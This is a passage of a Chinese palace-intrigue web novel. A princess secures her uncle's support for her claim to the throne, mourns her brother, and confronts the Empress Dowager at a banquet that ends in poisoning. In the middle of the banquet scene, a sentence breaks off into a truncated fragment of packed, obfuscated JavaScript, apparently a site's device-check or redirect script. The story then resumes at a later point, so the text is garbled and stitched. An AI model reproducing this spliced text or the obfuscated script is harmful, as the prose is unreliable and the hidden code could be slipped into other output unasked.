沈悠然甚少看见沈嘉正这副模样,在她印象里,十四叔总是一脸笑意,她小时候甚至还怀疑过十四叔是不是天生就是那副笑脸。 也是在此刻她才意识到,十四叔不仅是她的十四叔,也是大盛唯一一位能够在皇都里建宅设府的王爷。 是除了她的父皇之外,最尊贵的人。 等室内重新归于平静的时候,沈嘉正才说,这是那最近新招的奴仆,不太懂事。 沈悠然摸着茶盏边缘,状似无意地调侃道,“十四叔可真是放心家中的奴仆啊,这种话也不怕被人听见。” 沈嘉正满不在乎,半靠在椅边。 “十四叔有什么好怕的?” “总归这皇位上的人,不是你就是我,总不会昭懿舍得砍了十四叔的头吧?” “当然不会!我怎么会对十四叔不敬……”话说到一半,沈悠然突然读懂了他的深意,“十四叔的意思是……” 沈嘉正伸手弹着她的脑门。 “昭懿啊昭懿,你小的时候十四叔可没少带着你玩儿吧?怎的,现在好事想不起你十四叔,竟想把麻烦推给我了?” “我想不想当皇帝,你不知道?竟还要上门来试探?可真是伤了十四叔的心哦。” 沈悠然捂着头,总算是露出了一个笑来。 “昭懿这不是怕过了这么多年,十四叔心意有变嘛!”她嘟囔着。 “昭懿,说一句你不爱听的话,若是本王有意帝位,当年你父皇我皇兄,根本就没有上位的机会。” “那时候名正言顺的皇帝我不当,现在来和侄女抢,恐怕是个人都不会这么蠢吧。” 他拍拍沈悠然的头,一如小的时候每次见到她的第一个动作那样。 “让位于我,是你祖母的意思,并非我本意,昭懿不必因我而瞻前顾后,也不用……因此而生疏了我二人之间的叔侄情分。” 沈悠然当即跪在沈嘉正面前。 “还请十四叔放心,昭懿称帝,并非贪恋权势,不过是想替父皇兄长守好苍生。倘若昭懿有半分私心,定叫天下苍生唾骂。” 她从怀中掏出一张被封了口的信笺。 “此乃昭懿亲笔所书,两年为期,若是届时朝堂上下皆有异议,昭懿愿主动让贤。” 沈嘉正没去接她递来的信,只是将她扶起来。 “十四叔信你。” “十四叔只盼着,若是昭懿当上了皇帝,可别忘了从前,别忘了你父皇,别忘了……今日和十四叔说的话。” “更别忘了,十四叔的恩情。” 79. 第 79 章 庄太后一连等了许久,都没等来蔺朝暮和沈悠然的分道扬镳反目成仇的消息。 反倒是听闻沈悠然前些日子请了个擅制阿胶的师傅进宫给太子妃补身子。 而蔺朝暮私底下也在让她父亲帮忙奔走。 因为庄太后从前是想让沈照上位,当得知沈煦想要娶一个礼部侍郎家的女儿时,还同常嬷嬷说过,果然是和他那老子一样是个蠢货。 帝王家,谁说什么情爱,得门当户对才是最重要的。 礼部掌礼乐祭祀之责,比起其他五部来说,可以算得上是最没有利用价值,根本就不需要姻亲去拉拢,不如娶户部兵部家的小姐。 但沈煦又不是她的亲孙子,她乐于见得沈煦没有姻亲的助力。 不过到现在她算是想明白了,或许这种没有手握重权的姻亲,会为了攀附皇家唯首是瞻。 就比如现在,整个蔺家都在为了一个小丫头四处奔走。 她暗自掐着掌心,也说不出来自己心里是什么心情,不屑,亦或者有些酸涩? 身居高位太久,她已经忘了自己的来路。 忘了若非当初是先帝惹得他的父皇不悦,庄家这种末流之位,又怎么会被指给虽然废物但从中宫皇后肚子里爬出来被封为太子的先帝呢? 不过罢了,比起离间她二人,庄太后还有更重要的事——劝说自个儿的儿子去夺帝位。 子嗣不算大事,宗亲里后代那么多,不至于一个合适的都挑不出来。 再不济往后替沈沁寻一个好的夫家,生出来的孩子一样是皇家血脉。 最棘手的还是,沈嘉正没有称帝之心。 庄太后看了眼桌上的棋盘,那颗黑棋子已经被她扔掉不知所踪了。 棋盘上还差一颗,那便……自己来补上了。 * 沈煦的棺椁停灵七日之后,由普度寺的大师将受了整整七日经文熏陶的丧绸挂在棺椁顶端。 听闻这样,就能让去世的人下辈子投胎到一户好人家里。 蔺朝暮穿着一身孝服站在棺椁旁,轻抚着上面的花纹,双眼红肿,没有言语。 沈悠然在一旁搀扶着她,怕她伤心过度而昏厥,心里想着另一个人。 严晟不是皇家人,他的尸身已经被严太傅领回了家。 沈悠然只在第二日晚前去吊唁过,这两个差点成为公媳的人,隔着一个棺材互相点了个头。 严太傅话少,沈悠然也没有心思寒暄,二人这么坐在灵堂前相顾无言,过了许久,久到再不回宫会引来麻烦时,她才起身请辞。 也就是在这个时候,严太傅叫住了她。 “帝姬请稍等。” 他从袖子里掏出一沓红色的折子,在整个黑白的灵堂里格外惹眼。 “这是……” 沈悠然带着疑惑缓缓展开,发现这是一封还未完成的聘书。 “阿晟他……兴许总是觉得写得不好,改了好几遍,书房的废纸篓里还有不少被揉皱撕碎的废纸。” “老夫想着,若是帝姬不来,等过几日便给阿晟烧过去。” “但帝姬来了,若是帝姬还愿意收,那便由帝姬带走吧……” 沈悠然轻抚着封面上的“聘书”二字,对严太傅行了个礼。 “多谢太傅,昭懿定当视如珍宝。” 她将这件事一直按在心底,知道今日兄长出殡,才又想到同时也是严晟下葬的日子,但她却没有立场出席。 看她面色如自己一般惨白,蔺朝暮拍着她的手背,无声地安慰着。 比起自己来,明日还要将所有事再重复一般的沈悠然,必然更加悲苦。 蔺朝暮咬了咬牙,心想如今还不是崩溃的时候,她和沈悠然还得咬着牙坚持下去。 丧仪队的唢呐敲打声一直到了第二日午间。 沈悠然最后看了眼缓缓关上的皇陵大门,终是不再留恋地纵马离去。 按例,今日宫中须设宴款待前来参加丧仪的大臣,沈悠然心中不安,总觉帝后身后事已了,庄太后会趁机议新帝人选。 这种场合,她得在场。 果不其然,等沈悠然回到宫里的时候,宴席已开。 在往日里,她定会觉得皇祖母又不想要她去赴宴,赌气甩甩袖口回颐华宫躲清静。 但此刻她却径直走进大殿,当着众朝臣的面跪在庄太后面前。 “拜见祖母!” “孙女幸不辱命,已护送先帝先后入皇陵。斯人已逝,还望皇祖母保重身体,切莫过度哀伤。” 庄太后捏着酒盏的手一紧,看了沈悠然好几眼,这是在暗讽她心中无哀? 沈悠然自是不惧,昂着头回望过去。 虽然是跪着,但沈悠然的气势却丝毫不输给坐在首座的庄太后。 二人的视线就这样在半空中交汇,过了许久,庄太后才开口让她起身。 “乖孩子,你辛苦了,快来祖母身边。” 沈悠然忍住想要揉捏膝盖冲动,倒是没什么怨愤,反正庄太后向来都是这样对她的。 假装无视,让她受些皮肉之苦,这招她从小没少见识。 她一阶一阶地稳稳踏上台阶,面上却丝毫不见痛感,仿佛自己是在走向皇位。 她并不意外庄太后对她的态度,毕竟众目睽睽之下,她也不会蠢到暴露自己的野心。 庄太后是想让自己的儿子称帝,但也不会落得旁人闲话。 毕竟顺从民心即位,可跟与自己的侄女争夺上位,名声不一样。 沈悠然在庄太后身边落座,对上庄太后慈爱的目光时,做到了面不改色。 她就像是一个旁观者,旁观着庄太后面带愁容地说她一个小姑娘,失去了父母之后可该怎么活。 赶在将要被庄太后安排找个好人家照顾她之前,沈悠然打断了她的话。 “多谢皇祖母关心,昭懿得父皇母后教导,日前也随同皇兄外出游历,见过不少世面,早已不是从前那个只知抬头才能望天,不懂低头看百姓苦难的帝姬了,更不需要旁人来照顾。” 说罢,她转头看向坐在下方负责管理永州一带的安抚使,询问他永州的堤坝如今加固得如何了。 安抚使当然知道前段时间永州知州才获了罪,还是先太子殿下亲自撤的职,方才帝姬才说和太子一道游历,想必这永州的事,帝姬也有参与。 一想到这里,他立即跪在地上,直言他近来亲自监督,进程尚可。 沈悠然这才点点头,“那就多多劳烦安抚使,以永州百姓安危为首位。” 安抚使哆嗦着跪在地上领命。 周遭的大臣们不免开始窃窃私语。 靖王性好自由,实在不是一个好的帝王人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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朝臣看着庄太后和昭懿帝姬相继倒下,在短暂的惊愕之后,乱做了一团。 为了让自己的计划能够顺利进行,庄太后早就支开了靖王,待他匆匆赶来后,看见一旁因被沈悠然打乱了节奏而神色慌乱的常嬷嬷,也是第一时间就猜到了母后的打算。 但他不明白的是,昭懿为何也中了毒? 他连忙让人将她二人送回了寝殿,随后疏散朝臣。 沈嘉正倒是不担心二人的安危,母后既然敢给自己下毒,必然是有后招的。 只是按照今日情形看来,这毒怕是白下了。 昭懿的这一招破釜沉舟,既给自己洗清了嫌疑,还落得了一个孝顺的名声。 怕是今日之后,这朝中上下,支持昭懿的臣子怕是不会少了。 再加上自己无心帝位,昭懿当皇帝这件事,怕是已经成了板上钉钉了,母后这招,倒成了给他人做嫁衣。 沈嘉正轻抚着放在慈宁宫里的瓷器,是他上次归来时送给庄太后的。 也不知道,自己让位给昭懿,是好,还是坏呢?